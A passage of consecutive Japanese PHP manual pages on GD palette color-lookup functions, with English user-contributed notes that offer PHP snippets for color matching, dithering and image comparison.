$im = imagecreatefrompng($pngRel);
        $transparentColor = imagecolorallocate($im, 0xfe, 0x3, 0xf4 );
        $height = imagesy($im);
        $width = imagesx($im);
        for($x = 0; $x < $width; $x++){
            for($y = 0; $y < $height; $y++) {
                $alpha = (imagecolorat($im,$x,$y) & 0x7F000000) >> 24;
                //DITHER!
                if ($alpha > 3 && (
                        $alpha >=127-3 ||
                        (rand(0,127))>=(127-$alpha)
                    )){
                    imagesetpixel($im,$x,$y,$transparentColor);
                }

            }
        }
        imagecolortransparent($im, $transparentColor);
        imagegif($im, $gifRel);//save
        header("Content-type: image/gif");
        readfile($gifRel); //pass thru to browser

?>
pocze_zsolt at hotmail dot com 15-Sep-2007 04:55
This is a histogram-stretching function to get a better contrast:

function contrast_stretch( $img ) {
    $x = imagesx($img);
    $y = imagesy($img);

    $min=255.0;
    $max=0.0;

    for($i=0; $i<$y; $i++) {
    for($j=0; $j<$x; $j++) {
        $pos = imagecolorat($img, $j, $i);
        $f = imagecolorsforindex($img, $pos);
        $gst = $f["red"]*0.15 + $f["green"]*0.5 + $f["blue"]*0.35;
        if($gst>$max) $max=$gst;
        if($gst<$min) $min=$gst;
    }
    }

    $distance = $max-$min;

    for($i=0; $i<$y; $i++) {
    for($j=0; $j<$x; $j++) {
        $pos = imagecolorat($img, $j, $i);
        $f = imagecolorsforindex($img, $pos);

        $red = 255*($f["red"]-$min)/$distance;
        $green = 255*($f["green"]-$min)/$distance;
        $blue = 255*($f["blue"]-$min)/$distance;

        if($red<0) $red = 0.0;
        elseif($red>255) $red=255.0;

        if($green<0) $green = 0.0;
        elseif($green>255) $green=255.0;

        if($blue<0) $blue = 0.0;
        elseif($blue>255) $blue=255.0;

        $color = imagecolorresolve($img, $red, $green, $blue);
        imagesetpixel($img, $j, $i, $color);
    }
    }
}
29-Nov-2006 04:45
//test if a Jpeg is greyscale or color

function iscolor($pic_adress){

// A Pixel is Greyscale if the r = B = G
    //example: colorpixel R=250, G=140 , B=19  Greyscale Pixel R=110, G= 110, B=110

    //we do a check of 10 Pixels to find out if the Picture is Greyscale
    $tocheck = 10;

    $iscolor=false;

    $temp= getimagesize($pic_adress);

    $x= $temp[0];
    $y= $temp[1];

    $im= imagecreatefromjpeg($pic_adress);

    //now check out the Pixels
    for( $i = 0 ; $i< $tocheck && !$iscolor; $i++){

    // Here a Random Pixel is chosen
    $color = imagecolorat($im,rand(0,$x),rand(0,$y));

    //Problem color is an int
    //The Hex view on the number is RRGGBB
    // Here we get the blue part of the Pixel
    $blue = 0x0000ff & $color;

    $green = 0x00ff00 & $color;
   //The Green part we have to push 8 bits to the right to get an Compareable result
    $green = $green >> 8;
    $red =0xff0000 & $color;
    //red part needs to be pushed 16 bit
    $red = $red >> 16;
    // if one of the Pixels isnt Greyscale it breaks an you know this is a color picture
    if( $red!= $green || $green!= $blue){
        $iscolor = true;
        break;
        }
    }
    return $iscolor;

}
Luciano Ropero 27-Oct-2006 11:31
I made a function that calculates the average color of a given image resource and returns it in "#rrggbb" format (hex):

function average($img) {
    $w = imagesx($img);
    $h = imagesy($img);
    $r = $g = $b = 0;
    for($y = 0; $y < $h; $y++) {
        for($x = 0; $x < $w; $x++) {
            $rgb = imagecolorat($img, $x, $y);
            $r += $rgb >> 16;
            $g += $rgb >> 8 & 255;
            $b += $rgb & 255;
        }
    }
    $pxls = $w * $h;
    $r = dechex(round($r / $pxls));
    $g = dechex(round($g / $pxls));
    $b = dechex(round($b / $pxls));
    if(strlen($r) < 2) {
        $r = 0 . $r;
    }
    if(strlen($g) < 2) {
        $g = 0 . $g;
    }
    if(strlen($b) < 2) {
        $b = 0 . $b;
    }
    return "#" . $r . $g . $b;
}

Although, I've noticed that you can also get a fairly good average color generating a 1px by 1px copy with imagecopyresampled (the pixel generated is colored with the average color).
morten at nilsen dot com 11-Sep-2006 08:17
A better way of encoding a color value to #rrggbb:

<?php
  printf('#%06x',$c);
?>

or

<?php
  $rgb = sprintf('#%06x',$c);
?>
robert at future-vision dot nl 15-Dec-2005 04:53
Look mom, no tables :)

I made some changes to the code from 'hazard AT krankteil DOTTILLYDO de' so the function would output a div that displays the image.

As for the size of the outputted file I can say the original png file was lots smaller, but maybe its a nice feature for small buttons or such.

The way you can use it is the same as the code from 'hazard AT krankteil DOTTILLYDO de'.

litle note: each div contains a bogus image. When this is not in IE will screw up the output.

<?
    function hexcolor($c) {
        $r = ($c >> 16) & 0xFF;
        $g = ($c >> 8) & 0xFF;
        $b = $c & 0xFF;
        return '#'.str_pad(dechex($r), 2, '0', STR_PAD_LEFT).str_pad(dechex($g), 2, '0', STR_PAD_LEFT).str_pad(dechex($b), 2, '0', STR_PAD_LEFT);
    }

    function png2div($filename) {

        $img = imagecreatefrompng($filename);
        $width = imagesx($img);
        $height = imagesy($img);
        $div_width = 1;
        $previous_color = 0;

        $output = '<div style="position:relative;width:' . $width . 'px;height:'. $height .'px;">';

        for($y = 0;$y < $height;++$y){

            for($x = 0;$x < $width;++$x){

                $current_color = ImageColorAt($img, $x, $y);

                if($current_color == $previous_color && $x < $width-1){
                    ++$div_width;
                }
                else{
                    $output .= '<div style="position:relative;float:left;width:' . $div_width . 'px;height:1px;background-color:' . hexcolor((($div_width > 1)? $previous_color:$current_color)) . '"><img src="bogus.gif" alt="" width="1" height="1" /></div>';
                    $previous_color = $current_color;
                    $div_width = 1;
                }
            }
            ob_flush();
        }

        $output .= '</div>';

        return $output;

    }

?>
T. Dekker 27-Oct-2005 12:40
In GD 2.x there is support for true color images complete with an alpha channel. GD 2.x has a 7-bit (0-127) alpha channel.

While most people are used to an 8-bit (0-255) alpha channel, it is actually quite handy that GD's is 7-bit (0-127). Each pixel is represented by a 32-bit signed integer, with the four 8-bit bytes arranged like this:

 High Byte <--> Low Byte
{Alpha Channel} {Red} {Green} {Blue}

For a signed integer, the leftmost bit, or the highest bit, is used to indicate whether the value is negative, thus leaving only 31 bits of actual information. PHP's default integer value is a signed long into which we can store a single GD palette entry. Whether that integer is positive or negative tells us whether antialiasing is enabled for that palette entry.
swimgod 02-Sep-2005 01:36
this function i made will compare two($start-$finish) images and change the pixels with diffrent colors in the "finish" image
then displays them both next to each other in one image

another feature is "display" which will echo text
"50% on
50% off"-% count(if the number is lower then 1 it will go into one decamil count

or type "2" will be
"10023 on
3000 off"-pixel count

one last feature is "color"
which you define in an array
$color = array("r" => "244","g" => "122","b" => "100");

to finish up the discrpition im gonna show this "map" of my function
compare($start, $finish[, $color[, $display[, $type]]])
image-url($start) - base image URL
image-url($finish) - compare image URL
array($color) - array with keys "r", "g", "b" r being RED 0-255 g being GREEN 0-255 b being BLUE 0-255
bool($display) - 1 OR TRUE will return text stats from compare
int($type) - 1 OR 0 | 1 being % results | 0 being pixel results

<?
function compare($start, $finish, $color, $display, $type){

$im = ImageCreateFrompng($start);
$im2 = ImageCreateFrompng($finish);
$img['x'] = imagesx($im);
$img['y'] = imagesy($im);
$img2['x'] = imagesx($im2);
$img2['y'] = imagesy($im2);
if(($img['x'] == $img2['x']) && ($img['y'] == $img2['y'])){

//get and set image hieght and width
$i = array("width" =>  $img['x']*2, "height" => $img['y']);
$im3 = imagecreatetruecolor($i['width'], $i['height']);
if($color){
$color = imagecolorallocate($im3, $color['r'], $color['g'], $color['b']);
}else{

$color = imagecolorallocate($im3, 255, 255, 255);
}
for($y = $img['y'];$y > 0; $y--){
for($x = $img['x'];$x > 0; $x--){
if(ImageColorAt($im, $x, $y) == ImageColorAt($im2, $x, $y)){
$on = $on+1;
$rgb = ImageColorAt($im, $x, $y);
Imagesetpixel($im3, $img['x']+$x, $y, $rgb);
}else{
$off = $off+1;
imagesetpixel($im3, $img['x']+$x, $y , $color);
}
}
}
if($display == true){
if(($type == "1") || (!$type)){
$off2 = (round(($off / $on)*10));
if(($off2 == 0) && ($off > 0)){
$off2 = round(($off / $on)*10)*10;
}
$on2 = (100-$off2);
$off2 .="%";
$on2 .="%";
}else{
$off2 = $off;
$on2 = $on;
}
echo $off2 ." off<br>". $on2 ." on";
}else{
imagecopy($im3, $im, 0, 0, 0, 0, $img['x'], $img['y']);
@header("Content-type: image/png");
imagepng($im3);
imagedestroy($im3);
}
imagedestroy($im);
imagedestroy($im2);
return TRUE;
}else{
return False;
}
}
?>
Super Moi 28-Aug-2005 08:31
Here is a contribution for change tint.

function colorize($path_image, $red, $green, $blue)
{
      $im = imagecreatefrompng($path_image);
    $pixel = array();

    $n_im = imagecreatetruecolor(imagesx($im),imagesy($im));
    $fond = imagecolorallocatealpha($n_im, 255, 255, 255, 0);
    imagefill($n_im, 0, 0, $fond);

    for($y=0;$y<imagesy($n_im);$y++)
    {
        for($x=0;$x<imagesx($n_im);$x++)
        {
            $rgb = imagecolorat($im, $x, $y);
            $pixel = imagecolorsforindex($im, $rgb);

            $r = min(round($red*$pixel['red']/169),255);
            $g = min(round($green*$pixel['green']/169),255);
            $b = min(round($blue*$pixel['blue']/169),255);
            $a = $pixel['alpha'];
            //echo('red : '.$pixel['red'].' => '.$r.', green : '.$pixel['green'].' => '.$g.', blue : '.$pixel['blue'].' => '.$b.', alpha : '.$pixel['alpha'].' => '.$a.'<br>');

            $pixelcolor = imagecolorallocatealpha($n_im, $r, $g, $b, $a);

            imagealphablending($n_im, TRUE);
            imagesetpixel($n_im, $x, $y, $pixelcolor);
        }
    }

       imagepng($n_im,'test.png');
       imagedestroy($n_im);
}
mumig at poczta dot onet dot pl 27-Feb-2004 08:13
imagecolorat() works differently for png's with true color and for paletted png's - for true color it returns value of color, for paletted it returns index number and you have to use  imagecolorsforindex() to get rgb color value.


指定した色に最も近い色のインデックスを取得する

  • ≪ imagecolorat
  • imagecolorclosestalpha ≫
  • PHP Manual
  • GD および Image 関数
  • 指定した色に最も近い色のインデックスを取得する

imagecolorclosest

(PHP 4, PHP 5, PHP 7, PHP 8)

imagecolorclosest — 指定した色に最も近い色のインデックスを取得する

説明

imagecolorclosest ( resource $image , int $red , int $green , int $blue ) : int

指定した RGB 値に「近い」 画像パレット中の色のインデックスを返します。

指定した色とパレット上の各色の「距離」は、 RGB 値が三次元空間上の点の座標を表すと考えて計算します。

画像をファイルから作成した場合は、画像内で使われている色だけを解決します。パレットにだけ存在する色は解決されません。

パラメータ

image

imagecreatetruecolor() のような画像作成関数が返す画像リソース。

red

赤コンポーネントの値。

green

緑コンポーネントの値。

blue

青コンポーネントの値。

色のパラメータは、0 から 255 までの整数値か 0x00 から 0xFF までの十六進値を指定します。

返り値

画像パレット内で、指定した色にいちばん近い色のインデックスを返します。

例

例1 画像内での色セットの検索

<?php
// 画像を作成し、パレット画像に変換します
$im = imagecreatefrompng('figures/imagecolorclosest.png');
imagetruecolortopalette($im, false, 255);

// 探したい色 (RGB)
$colors = array(
    array(254, 145, 154),
    array(153, 145, 188),
    array(153, 90, 145),
    array(255, 137, 92)
);

// それぞれを検索し、パレット内でもっとも近い色を見つけます
// 検索番号、検索した RGB、そして見つかった RGB を返します
foreach($colors as $id => $rgb)
{
    $result = imagecolorclosest($im, $rgb[0], $rgb[1], $rgb[2]);
    $result = imagecolorsforindex($im, $result);
    $result = "({$result['red']}, {$result['green']}, {$result['blue']})";

    echo "#$id: Search ($rgb[0], $rgb[1], $rgb[2]); Closest match: $result.\n";
}

imagedestroy($im);
?>

上の例の出力は、 たとえば以下のようになります。

#0: Search (254, 145, 154); Closest match: (252, 150, 148).
#1: Search (153, 145, 188); Closest match: (148, 150, 196).
#2: Search (153, 90, 145); Closest match: (148, 90, 156).
#3: Search (255, 137, 92); Closest match: (252, 150, 92).

参考

  • imagecolorexact() - 指定した色のインデックスを取得する
  • imagecolorclosestalpha() - 指定した色+アルファ値に最も近い色のインデックスを取得する
  • imagecolorclosesthwb() - 色合い、白、黒を有する色のインデックスを得る

User Contributed Notes

Hayley Watson 23-Jul-2017 04:33
RGB space isn't the best choice for measuring the distance between two colours, since it ignores, for example, the fact that we count both dark green and light green as "green" (the RGB distance between #000000 and #7f7f7f is the same as the distance between #000000 and #5443c0 - a slightly darkened SlateBlue).

A better choice of colour space that conforms better to how colours are perceived is the so-called Lab space, which measures colours according to how light/dark, red/green, and yellow/blue they are. (There are still better models, but they come at the expense of increased computation.)

<?php

function warp1($c)
{
    if($c > 10.3148)
    {
        return pow((561 + 40*$c)/10761, 2.4);
    }
    else
    {
        return $c / 3294.6;
    }
}
function warp2($c)
{
    if($c > 0.008856)
    {
        return pow($c, 1/3);
    }
    else
    {
        return 7.787 * $c + 4/29;
    }
}
function rgb2lab($rgb)
{
    [$red, $green, $blue] = array_map('warp1', $rgb);

    $x = warp2($red * 0.4339 + $green * 0.3762 + $blue * 0.1899);
    $y = warp2($red * 0.2126 + $green * 0.7152 + $blue * 0.0722);
    $z = warp2($red * 0.0178 + $green * 0.1098 + $blue * 0.8730);

    $l = 116*$y - 16;
    $a = 500 * ($x - $y);
    $b = 200 * ($y - $z);

    return array_map('intval', [$l, $a, $b]);
}

function generate_palette_from_image($image)
{
    $pal = [];
    $width = imagesx($image);
    $height = imagesy($image);
    for($x = 0; $x < $width; ++$x)
    {
        for($y = 0; $y < $height; ++$y)
        {
            $pal[] = imagecolorat($image, $x, $y);
        }
    }
    return array_map(function($col)use($image)
    {
        $rgba = imagecolorsforindex($image, $col);
        return [$rgba['red'], $rgba['green'], $rgba['blue']];
    },    array_unique($pal));
}

function closest_rgb_in_palette($rgb, $palette)
{
    // Quick return when the exact
    // colour is in the palette.
    if(($idx = array_search($rgb, $palette)) !== false)
    {
        return $idx;
    }
    [$tl, $ta, $tb] = rgb2lab($rgb);
    $dists = array_map(function($plab)use($tl, $ta, $tb)
    {
        [$pl, $pa, $pb] = $plab;
        $dl = $pl - $tl;
        $da = $pa - $ta;
        $db = $pa - $tb;
        return $dl * $dl + $da * $da + $db * $db;
    }, array_map('rgb2lab', $palette));
    return array_search(min($dists), $dists);
}

function closest_rgb_in_image($rgb, $image)
{
    $palette = generate_palette_from_image($image);
    return $palette[closest_rgb_in_palette($rgb, $palette)];
}

$lena = imagecreatefrompng('lena.png');
$red = closest_rgb_in_image([255,0,0],$lena);
echo join(' ', $red);  // 228 71 82

?>

If you're going to be matching a lot of colours to a palette, you may want to precompute and reuse the Lab palette, instead of generating it fresh each time as done here.
info at codeworx dot ch 09-Nov-2011 02:21
Here is a function that compares two HEX colors for similarity. This can be useful if you want to detect colors that are not different enough to see for the naked eye. It returns a bool: TRUE if the colors are similar to each other (within tolerance) or FALSE if they are different enough.
I tested a few colors and came up with a tolerance of 35 (rgb value - should be between 0 and 255) but you can change that tolerance by passing a third parameter to the function.

<?php
function compareColors ($col1, $col2, $tolerance=35) {
    $col1Rgb = array(
        "r" => hexdec(substr($col1, 0, 2)),
        "g" => hexdec(substr($col1, 2, 2)),
        "b" => hexdec(substr($col1, 4, 2))
    );
    $col2Rgb = array(
        "r" => hexdec(substr($col2, 0, 2)),
        "g" => hexdec(substr($col2, 2, 2)),
        "b" => hexdec(substr($col2, 4, 2))
    );
    return ($col1Rgb['r'] >= $col2Rgb['r'] - $tolerance && $col1Rgb['r'] <= $col2Rgb['r'] + $tolerance) && ($col1Rgb['g'] >= $col2Rgb['g'] - $tolerance && $col1Rgb['g'] <= $col2Rgb['g'] + $tolerance) && ($col1Rgb['b'] >= $col2Rgb['b'] - $tolerance && $col1Rgb['b'] <= $col2Rgb['b'] + $tolerance);
}
?>
MagicalTux at FF dot st 28-Jun-2005 06:22
A way to get each time an answer :

<?php
function imagegetcolor($im, $r, $g, $b) {
        $c=imagecolorexact($im, $r, $g, $b);
        if ($c!=-1) return $c;
        $c=imagecolorallocate($im, $r, $g, $b);
        if ($c!=-1) return $c;
        return imagecolorclosest($im, $r, $g, $b);
}
?>

If the *exact* color is found in the image, it will be returned. If we don't have the exact color, we try to allocate it. If we can't allocate it, we return the closest color in the image.
Vikrant Korde <vakorde at hotmail dot com> 11-Oct-2003 08:10
This functuion is useful when you are dealing with previously present images like .png, .jpg, etc. You can use this function for writing a text on the image.

For me the function imagecolorallocate() was returning the -1 value. after lot of RnD and site search i found a function use of imagecolorclosest(). This solved my problem of writing the text on the image with customised color.

Actually previously it was writing on the image but the color was not distinct. It was using the same color as of that background image.

The following code segment was fine with me.

header ("Content-type: image/jpeg");
$im = imagecreatefromjpeg("BlankButton.jpg");
$white = imageColorClosest($im, 255,255,255);
// this is for TTF fonts
imagettftext ($im, 20, 0, 16, 30, $white, "/usr/X11R6/lib/X11/fonts/TTF/luximb.ttf", "Vikrant");

//this is for notmal font
imagestring($im, 4, 0,0,"Korde", $white);
imagejpeg($im,"",150);
imagedestroy ($im);


指定した色+アルファ値に最も近い色のインデックスを取得する

  • ≪ imagecolorclosest
  • imagecolorclosesthwb ≫
  • PHP Manual
  • GD および Image 関数
  • 指定した色+アルファ値に最も近い色のインデックスを取得する

imagecolorclosestalpha

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

imagecolorclosestalpha — 指定した色+アルファ値に最も近い色のインデックスを取得する

説明

imagecolorclosestalpha ( resource $image , int $red , int $green , int $blue , int $alpha ) : int

指定した RGB 値と alpha レベルに 「近い」画像パレット中の色のインデックスを返します。

パラメータ

image

imagecreatetruecolor() のような画像作成関数が返す画像リソース。

red

赤コンポーネントの値。

green

緑コンポーネントの値。

blue

青コンポーネントの値。

alpha

0 から 127 までの値。 0 は完全に不透明な状態。 127 は完全に透明な状態を表します。

色のパラメータは、0 から 255 までの整数値か 0x00 から 0xFF までの十六進値を指定します。

返り値

画像パレット内で、指定した色にいちばん近い色のインデックスを返します。

例

例1 画像内での色セットの検索

<?php
// 画像を作成し、パレット画像に変換します
$im = imagecreatefrompng('figures/imagecolorclosest.png');
imagetruecolortopalette($im, false, 255);

// 探したい色 (RGB)
$colors = array(
    array(254, 145, 154, 50),
    array(153, 145, 188, 127),
    array(153, 90, 145, 0),
    array(255, 137, 92, 84)
);

// それぞれを検索し、パレット内でもっとも近い色を見つけます
// 検索番号、検索した RGB、そして見つかった RGB を返します
foreach($colors as $id => $rgb)
{
    $result = imagecolorclosestalpha($im, $rgb[0], $rgb[1], $rgb[2], $rgb[3]);
    $result = imagecolorsforindex($im, $result);
    $result = "({$result['red']}, {$result['green']}, {$result['blue']}, {$result['alpha']})";

    echo "#$id: Search ($rgb[0], $rgb[1], $rgb[2], $rgb[3]); Closest match: $result.\n";
}

imagedestroy($im);
?>

上の例の出力は、 たとえば以下のようになります。

#0: Search (254, 145, 154, 50); Closest match: (252, 150, 148, 0).
#1: Search (153, 145, 188, 127); Closest match: (148, 150, 196, 0).
#2: Search (153, 90, 145, 0); Closest match: (148, 90, 156, 0).
#3: Search (255, 137, 92, 84); Closest match: (252, 150, 92, 0).

参考

  • imagecolorexactalpha() - 指定した色+アルファ値のインデックスを取得する
  • imagecolorclosest() - 指定した色に最も近い色のインデックスを取得する
  • imagecolorclosesthwb() - 色合い、白、黒を有する色のインデックスを得る

User Contributed Notes

There are no user contributed notes for this page.


色合い、白、黒を有する色のインデックスを得る

  • ≪ imagecolorclosestalpha
  • imagecolordeallocate ≫
  • PHP Manual
  • GD および Image 関数
  • 色合い、白、黒を有する色のインデックスを得る

imagecolorclosesthwb

(PHP 4 >= 4.0.1, PHP 5, PHP 7, PHP 8)

imagecolorclosesthwb — 色合い、白、黒を有する色のインデックスを得る

説明

imagecolorclosesthwb ( resource $image , int $red , int $green , int $blue ) : int

指定した色に最も近い色合い、白、黒を有する色のインデックスを取得します。

パラメータ

image

imagecreatetruecolor() のような画像作成関数が返す画像リソース。

red

赤コンポーネントの値。

green

緑コンポーネントの値。

blue

青コンポーネントの値。

返り値

指定した色に最も近い色合い、白、黒を有する色のインデックスを返します。

例

例1 imagecolorclosesthwb() の使用例

<?php
$im = imagecreatefromgif('php.gif');

echo 'HWB: ' . imagecolorclosesthwb($im, 116, 115, 152);

imagedestroy($im);
?>

上の例の出力は、 たとえば以下のようになります。

HWB: 33

参考

  • imagecolorclosest() - 指定した色に最も近い色のインデックスを取得する

User Contributed Notes

Xong 22-Jun-2009 03:56
I have written a function which uses the deltaE-function of the CMC.
It returns much better results than imagecolorclosestHWB() or imageColorClosest().

A test-script is online on http://www.fuhrpark-software.de/spielwiese/color.php?color=ffff00

<?php
/*
 * Returns the index of the palette-color which is most similar
 * to $givenColor.
 *
 * $givenColor and the colors in $palette should be either
 * formatted as (#)rrggbb
 * (e. g. "ff0000", "4da4f3" or "#b5d7f3")
 * or arrays with values for red, green and blue
 * (e. g. $givenColor = array( 0xff, 0x00, 0x00 ) )
 *
 * References:
 * function rgb2lab
 *   - http://www.f4.fhtw-berlin.de/~barthel/ImageJ/ImageJ.htm
 *
 * function rgb2lab & function deltaE
 *   - http://www.brucelindbloom.com
 */
function getNearestColor(
  $givenColor,
  $palette = array( 'blue' => '43aafd','red' => 'fe6256','green' => '64b949','yellow' => 'fcf357',
    'black' => '656565','white' => 'fdfdfd','orange' => 'fea800','purple' => '9773fe')
) {
  if(!function_exists('rgb2lab')) {
    function rgb2lab($rgb) {
      $eps = 216/24389; $k = 24389/27;
      // reference white D50
      $xr = 0.964221; $yr = 1.0; $zr = 0.825211;

      $rgb[0] = $rgb[0]/255; //R 0..1
      $rgb[1] = $rgb[1]/255; //G 0..1
      $rgb[2] = $rgb[2]/255; //B 0..1

      // assuming sRGB (D65)
      $rgb[0] = ($rgb[0] <= 0.04045)?($rgb[0]/12.92):pow(($rgb[0]+0.055)/1.055,2.4);
      $rgb[1] = ($rgb[1] <= 0.04045)?($rgb[1]/12.92):pow(($rgb[1]+0.055)/1.055,2.4);
      $rgb[2] = ($rgb[2] <= 0.04045)?($rgb[2]/12.92):pow(($rgb[2]+0.055)/1.055,2.4);

      // sRGB D50
      $x =  0.4360747*$rgb[0] + 0.3850649*$rgb[1] + 0.1430804 *$rgb[2];
      $y =  0.2225045*$rgb[0] + 0.7168786*$rgb[1] + 0.0606169 *$rgb[2];
      $z =  0.0139322*$rgb[0] + 0.0971045*$rgb[1] + 0.7141733 *$rgb[2];

      $xr = $x/$xr; $yr = $y/$yr; $zr = $z/$zr;

      $fx = ($xr > $eps)?pow($xr, 1/3):($fx = ($k * $xr + 16) / 116);
      $fy = ($yr > $eps)?pow($yr, 1/3):($fy = ($k * $yr + 16) / 116);
      $fz = ($zr > $eps)?pow($zr, 1/3):($fz = ($k * $zr + 16) / 116);

      $lab = array();
      $lab[] = round(( 116 * $fy ) - 16);
      $lab[] = round(500*($fx-$fy));
      $lab[] = round(200*($fy-$fz));
      return $lab;
    }
  }

  if(!function_exists('deltaE')) {
    function deltaE($lab1, $lab2) {
      // CMC 1:1
      $l = 1; $c = 1;

      $c1 = sqrt($lab1[1]*$lab1[1]+$lab1[2]*$lab1[2]);
      $c2 = sqrt($lab2[1]*$lab2[1]+$lab2[2]*$lab2[2]);

      $h1 = (((180000000/M_PI) * atan2($lab1[1],$lab1[2]) + 360000000) % 360000000)/1000000;

      $t = (164 <= $h1 AND $h1 <= 345)?(0.56 + abs(0.2 * cos($h1+168))):(0.36 + abs(0.4 * cos($h1+35)));
      $f = sqrt(pow($c1,4)/(pow($c1,4) + 1900));

      $sl = ($lab1[0] < 16)?(0.511):((0.040975*$lab1[0])/(1 + 0.01765*$lab1[0]));
      $sc = (0.0638 * $c1)/(1 + 0.0131 * $c1) + 0.638;
      $sh = $sc * ($f * $t + 1 -$f);

      return sqrt(
        pow(($lab1[0]-$lab2[0])/($l * $sl),2) +
        pow(($c1-$c2)/($c * $sc),2) +
        pow(sqrt(
              ($lab1[1]-$lab2[1])*($lab1[1]-$lab2[1]) +
              ($lab1[2]-$lab2[2])*($lab1[2]-$lab2[2]) +
              ($c1-$c2)*($c1-$c2)
            )/$sh,2)
      );
    }
  }

  if(!function_exists('str2rgb')) {
    function str2rgb($str)
    {
      $str = preg_replace('~[^0-9a-f]~','',$str);
      $rgb = str_split($str,2);
      for($i=0;$i<3;$i++)
        $rgb[$i] = intval($rgb[$i],16);

      return $rgb;
    }
  }

  $givenColorRGB = is_array($givenColor?$givenColor:str2rgb($givenColor);

  $min = 0xffff;
  $return = NULL;

  foreach($palette as $key => $color) {
    $color = is_array($color)?$color:str2rgb($color);
    if($min >= ($deltaE = deltaE(rgb2lab($color),rgb2lab($givenColorRGB))))
    {
      $min = $deltaE;
      $return = $key;
    }
  }

  return $return;
}
?>


イメージの色リソースを開放する

  • ≪ imagecolorclosesthwb
  • imagecolorexact ≫
  • PHP Manual
  • GD および Image 関数
  • イメージの色リソースを開放する

imagecolordeallocate

(PHP 4, PHP 5, PHP 7, PHP 8)

imagecolordeallocate — イメージの色リソースを開放する

説明

imagecolordeallocate ( resource $image , int $color ) : bool

imagecolorallocate() または imagecolorallocatealpha() で確保された色を開放します。

パラメータ

image

imagecreatetruecolor() のような画像作成関数が返す画像リソース。

color

色 ID。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 imagecolordeallocate() の使用法

<?php
$white = imagecolorallocate($im, 255, 255, 255);
imagecolordeallocate($im, $white);
?>

参考

  • imagecolorallocate() - 画像で使用する色を作成する
  • imagecolorallocatealpha() - 画像で使用する色を透過度を指定して作成する

User Contributed Notes

There are no user contributed notes for this page.


指定した色のインデックスを取得する

  • ≪ imagecolordeallocate
  • imagecolorexactalpha ≫
  • PHP Manual
  • GD および Image 関数
  • 指定した色のインデックスを取得する

imagecolorexact

(PHP 4, PHP 5, PHP 7, PHP 8)

imagecolorexact — 指定した色のインデックスを取得する

説明

imagecolorexact ( resource $image , int $red , int $green , int $blue ) : int

画像パレット中の特定の色のインデックスを返します。

画像をファイルから作成した場合は、画像内で使われている色だけを解決します。パレットにだけ存在する色は解決されません。

パラメータ

image

imagecreatetruecolor() のような画像作成関数が返す画像リソース。

red

赤コンポーネントの値。

green

緑コンポーネントの値。

blue

青コンポーネントの値。

返り値

指定した色の、パレット内でのインデックスを返します。 画像パレット中に色が存在しない場合は -1 を返します。

例

例1 GD ロゴからの色の取得

<?php
// 画像を用意します
$im = imagecreatefrompng('./gdlogo.png');

$colors   = Array();
$colors[] = imagecolorexact($im, 255, 0, 0);
$colors[] = imagecolorexact($im, 0, 0, 0);
$colors[] = imagecolorexact($im, 255, 255, 255);
$colors[] = imagecolorexact($im, 100, 255, 52);

print_r($colors);

// メモリから解放します
imagedestroy($im);
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [0] => 16711680
    [1] => 0
    [2] => 16777215
    [3] => 6618932
)

参考

  • imagecolorclosest() - 指定した色に最も近い色のインデックスを取得する

User Contributed Notes

samtobia at geemail dot com 24-Mar-2011 10:11
A script that changes colors depending on get variable
important to note: I had little success with pngs and getting true red
gifs work much better

<?php
//0 is yellow, 1 is red, 2 is blue
$y = 1 - ceil($_GET["c"]/2);
$r = 1 - floor($_GET["c"]/2);
$b = floor($_GET["c"]/2);

$gd = imagecreatefromgif("example.gif");
imagecolorset($gd, imagecolorexact($gd, 255, 0, 0), $r*255, $y*255, $b*255);
imagecolorset($gd, imagecolorexact($gd, 191, 0, 0), $r*191, $y*191, $b*191);
imagecolorset($gd, imagecolorexact($gd, 128, 0, 0), $r*128, $y*128, $b*128);
imagecolorset($gd, imagecolorexact($gd, 255, 0, 0), $r*64, $y*64, $b*64);

header('Content-Type: image/gif');
imagegif($gd);

?>
jbr at ya-right dot com 18-Feb-2006 12:38
A few notes about this function...

This function will only work on images where the palette is 256 colors or less. You also can not use imagetruecolortopalette() to reduce the palette on a true color PNG image that has greater than 256 colors in it's palette, then call this function. If you try to do this imagecolorexact() will report colors not being in the image when they are in the image!

1. works on png(s) 8bit/256 colors or less.
2. works on all gif(s)
3. does not work on any type of jpg/jpeg image.
info at educar dot pro dot br 16-Nov-2005 11:14
<?php

$src = "../images/pic.gif";

$red = 9;
$green = 9;
$blue = 4;

$pic0026 = imagecreatefromgif ( $src );

$ind = imagecolorexact ( $pic, $red, $green, $blue );

echo '<img src="../images/pic.gif" border="0" alt="pic" title="View pic" /><br /><br />';

echo "RED ( " . $red . " ) GREEN ( " . $green . " ) BLUE ( " . $blue . " )<br />-> Palette Index = " . $ind;

if ( $ind != -1 )
{
echo "<br />[ The color exists! ]";
}
else
{
echo "<br />[ The color does not exist! ]";
}

imagedestroy ( $pic );

?>


指定した色+アルファ値のインデックスを取得する

  • ≪ imagecolorexact
  • imagecolormatch ≫
  • PHP Manual
  • GD および Image 関数
  • 指定した色+アルファ値のインデックスを取得する

imagecolorexactalpha

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

imagecolorexactalpha — 指定した色+アルファ値のインデックスを取得する

説明

imagecolorexactalpha ( resource $image , int $red , int $green , int $blue , int $alpha ) : int

イメージのパレットで指定した色+アルファ値のインデックスを返します。

パラメータ

image

imagecreatetruecolor() のような画像作成関数が返す画像リソース。

red

赤コンポーネントの値。

green

緑コンポーネントの値。

blue

青コンポーネントの値。

alpha

0 から 127 までの値。 0 は完全に不透明な状態。 127 は完全に透明な状態を表します。

色のパラメータは、0 から 255 までの整数値か 0x00 から 0xFF までの十六進値を指定します。

返り値

イメージのパレットにおける、指定した色+アルファ値のインデックスを返します。 指定した色がイメージのパレットに存在しない場合、-1が返されます。

例

例1 GD ロゴからの色の取得

<?php

// 画像を用意します
$im = imagecreatefrompng('./gdlogo.png');

$colors   = Array();
$colors[] = imagecolorexactalpha($im, 255, 0, 0, 0);
$colors[] = imagecolorexactalpha($im, 0, 0, 0, 127);
$colors[] = imagecolorexactalpha($im, 255, 255, 255, 55);
$colors[] = imagecolorexactalpha($im, 100, 255, 52, 20);

print_r($colors);

// メモリから開放します
imagedestroy($im);
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [0] => 16711680
    [1] => 2130706432
    [2] => 939524095
    [3] => 342163252
)

参考

